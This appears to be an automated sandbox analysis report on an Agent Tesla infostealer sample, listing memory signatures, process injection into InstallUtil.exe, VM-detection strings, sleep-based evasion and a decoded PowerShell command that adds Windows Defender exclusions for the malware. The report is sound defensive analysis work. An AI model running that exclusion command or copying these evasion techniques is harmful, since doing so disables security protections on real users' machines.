Source: Yara match	File source: 00000000.00000002.1221141851.0000000005F40000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1204012379.0000000002BEF000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: SecuriteInfo.com.Win32.CrypterX-gen.25378.7586.exe PID: 6332, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: page.exe PID: 5732, type: MEMORYSTR

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_035B635D push eax; ret	5_2_035B6371
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_035B42BD push ebx; ret	5_2_035B42DA
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_035B42A8 push ebx; ret	5_2_035B42DA
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_035B7A28 pushfd ; retf	5_2_035B7A2A
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_035B7A21 pushfd ; retf	5_2_035B7A22
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_035B3D18 push eax; retf	5_2_035B3D1A
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_035B3D1C push edx; retf	5_2_035B3D32
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_035B3D38 push edx; retf	5_2_035B3D3A
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_035B3C79 push eax; retf	5_2_035B3C7A
Source: C:\Users\user\AppData\Roaming\page.exe	Code function: 17_2_066F4B12 push es; ret	17_2_066F4B7C
Source: C:\Users\user\AppData\Roaming\page.exe	Code function: 17_2_066F905A push es; iretd	17_2_066F9068
Source: C:\Users\user\AppData\Roaming\page.exe	Code function: 17_2_06731B4B push ecx; retf	17_2_06731B4C

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.CrypterX-gen.25378.7586.exe	Memory allocated: 1080000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.CrypterX-gen.25378.7586.exe	Memory allocated: 2BC0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.CrypterX-gen.25378.7586.exe	Memory allocated: 4BC0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Memory allocated: 10A0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Memory allocated: 2A50000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Memory allocated: 4A50000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\page.exe	Memory allocated: 1080000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\page.exe	Memory allocated: 2B30000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\page.exe	Memory allocated: 2870000 memory reserve \| memory write watch
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Memory allocated: 3220000 memory reserve \| memory write watch
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Memory allocated: 3310000 memory reserve \| memory write watch
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Memory allocated: 3220000 memory reserve \| memory write watch

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 922337203685477

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 7838	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1832	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Window / User API: threadDelayed 8090	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Window / User API: threadDelayed 1763	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Window / User API: threadDelayed 2490
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Window / User API: threadDelayed 7342

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 6792	Thread sleep time: -4611686018427385s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 3852	Thread sleep time: -27670116110564310s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 3852	Thread sleep time: -100000s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 3852	Thread sleep time: -99875s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 796	Thread sleep count: 8090 > 30	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 796	Thread sleep count: 1763 > 30	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 3852	Thread sleep time: -99765s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 3852	Thread sleep time: -99656s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 3852	Thread sleep time: -99547s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 3852	Thread sleep time: -99437s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 3852	Thread sleep time: -99328s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 3852	Thread sleep time: -99218s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 3852	Thread sleep time: -99109s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 3852	Thread sleep time: -99000s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 3852	Thread sleep time: -98891s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 3852	Thread sleep time: -98766s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 3852	Thread sleep time: -98656s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 3852	Thread sleep time: -98547s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 3852	Thread sleep time: -98437s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 3852	Thread sleep time: -98327s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 3852	Thread sleep time: -98214s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 3852	Thread sleep time: -98106s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 3852	Thread sleep time: -98000s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 3852	Thread sleep time: -97890s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 3852	Thread sleep time: -97781s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 3852	Thread sleep time: -97672s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 3852	Thread sleep time: -97562s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 3852	Thread sleep time: -97453s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 3852	Thread sleep time: -97343s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 3852	Thread sleep time: -97234s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 3852	Thread sleep time: -97125s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 3852	Thread sleep time: -97016s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 3852	Thread sleep time: -96906s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 3852	Thread sleep time: -96658s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 3852	Thread sleep time: -96468s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 3852	Thread sleep time: -96359s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 3852	Thread sleep time: -96250s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 3852	Thread sleep time: -96140s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 3852	Thread sleep time: -96031s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 3852	Thread sleep time: -95922s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 3852	Thread sleep time: -95812s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 3852	Thread sleep time: -95703s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 3852	Thread sleep time: -95594s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 3852	Thread sleep time: -95484s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 3852	Thread sleep time: -95375s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 3852	Thread sleep time: -95265s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 3852	Thread sleep time: -95156s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 3852	Thread sleep time: -95046s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 3852	Thread sleep time: -94937s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 3852	Thread sleep time: -94823s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 3852	Thread sleep time: -94703s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 3852	Thread sleep time: -94593s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 3852	Thread sleep time: -94484s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 3852	Thread sleep time: -94374s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 3852	Thread sleep time: -94263s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 6660	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7600	Thread sleep count: 36 > 30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7600	Thread sleep time: -33204139332677172s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7600	Thread sleep time: -100000s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7608	Thread sleep count: 2490 > 30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7600	Thread sleep time: -99875s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7600	Thread sleep time: -99765s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7600	Thread sleep time: -99655s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7608	Thread sleep count: 7342 > 30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7600	Thread sleep time: -99546s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7600	Thread sleep time: -99433s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7600	Thread sleep time: -99328s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7600	Thread sleep time: -99218s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7600	Thread sleep time: -99110s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7600	Thread sleep time: -98985s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7600	Thread sleep time: -98860s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7600	Thread sleep time: -98735s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7600	Thread sleep time: -98610s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7600	Thread sleep time: -98485s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7600	Thread sleep time: -98360s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7600	Thread sleep time: -98235s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7600	Thread sleep time: -98110s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7600	Thread sleep time: -97985s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7600	Thread sleep time: -97860s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7600	Thread sleep time: -97688s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7600	Thread sleep time: -97535s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7600	Thread sleep time: -97405s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7600	Thread sleep time: -97296s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7600	Thread sleep time: -97185s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7600	Thread sleep time: -97078s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7600	Thread sleep time: -96969s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7600	Thread sleep time: -96860s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7600	Thread sleep time: -96750s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7600	Thread sleep time: -96641s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7600	Thread sleep time: -96516s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7600	Thread sleep time: -96391s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7600	Thread sleep time: -96282s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7600	Thread sleep time: -96157s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7600	Thread sleep time: -96032s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7600	Thread sleep time: -95922s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7600	Thread sleep time: -95810s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7600	Thread sleep time: -95703s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7600	Thread sleep time: -95594s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7600	Thread sleep time: -95485s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7600	Thread sleep time: -95360s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7600	Thread sleep time: -95235s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7600	Thread sleep time: -95110s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7600	Thread sleep time: -94985s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7600	Thread sleep time: -94824s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7600	Thread sleep time: -94712s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7600	Thread sleep time: -94610s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7600	Thread sleep time: -94485s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7600	Thread sleep time: -94360s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7600	Thread sleep time: -94230s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7600	Thread sleep time: -94125s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7600	Thread sleep time: -94016s >= -30000s

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.CrypterX-gen.25378.7586.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Roaming\page.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report SecuriteInfo.com.Win32.CrypterX-gen.25378.7586.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: Agenttesla

Yara Signatures

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Data Obfuscation

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Windows Analysis Report
SecuriteInfo.com.Win32.CrypterX-gen.25378.7586.exe

Source: wscript.exe, 0000000D.00000002.1267714386.000002633DB63000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: page.exe, 00000011.00000002.1588133995.0000000002B5F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: VMware\|VIRTUAL\|A M I\|Xen
Source: svchost.exe, 0000000C.00000002.2078123992.000001822645B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000C.00000002.2074599677.0000018220C29000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: page.exe, 00000011.00000002.1585458405.0000000000D70000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllF
Source: page.exe, 00000011.00000002.1588133995.0000000002B5F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Microsoft\|VMWare\|Virtual
Source: InstallUtil.exe, 00000008.00000002.1554639705.00000000053A2000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllY y
Source: SecuriteInfo.com.Win32.CrypterX-gen.25378.7586.exe, 00000000.00000002.1202550235.0000000000D82000.00000004.00000020.00020000.00000000.sdmp, InstallUtil.exe, 00000018.00000002.2086963586.000000000670D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: wscript.exe, 0000000D.00000002.1267714386.000002633DB63000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\8b}\

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.CrypterX-gen.25378.7586.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.CrypterX-gen.25378.7586.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.CrypterX-gen.25378.7586.exe	Process created: Base64 decoded Add-MpPreference -ExclusionPath C:\Users\frontdesk\Desktop\SecuriteInfo.com.Win32.CrypterX-gen.25378.7586.exe; Add-MpPreference -ExclusionProcess C:\Users\frontdesk\Desktop\SecuriteInfo.com.Win32.CrypterX-gen.25378.7586.exe;Add-MpPreference -ExclusionPath C:\Users\frontdesk\AppData\Roaming\page.exe; Add-MpPreference -ExclusionProcess C:\Users\frontdesk\AppData\Roaming\page.exe
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.CrypterX-gen.25378.7586.exe	Process created: Base64 decoded Add-MpPreference -ExclusionPath C:\Users\frontdesk\Desktop\SecuriteInfo.com.Win32.CrypterX-gen.25378.7586.exe; Add-MpPreference -ExclusionProcess C:\Users\frontdesk\Desktop\SecuriteInfo.com.Win32.CrypterX-gen.25378.7586.exe;Add-MpPreference -ExclusionPath C:\Users\frontdesk\AppData\Roaming\page.exe; Add-MpPreference -ExclusionProcess C:\Users\frontdesk\AppData\Roaming\page.exe			Jump to behavior

Source: C:\Users\user\AppData\Roaming\page.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 400000
Source: C:\Users\user\AppData\Roaming\page.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 402000
Source: C:\Users\user\AppData\Roaming\page.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 43C000
Source: C:\Users\user\AppData\Roaming\page.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 43E000
Source: C:\Users\user\AppData\Roaming\page.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 1028008

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.CrypterX-gen.25378.7586.exe	Queries volume information: C:\Users\user\Desktop\SecuriteInfo.com.Win32.CrypterX-gen.25378.7586.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.CrypterX-gen.25378.7586.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.CrypterX-gen.25378.7586.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
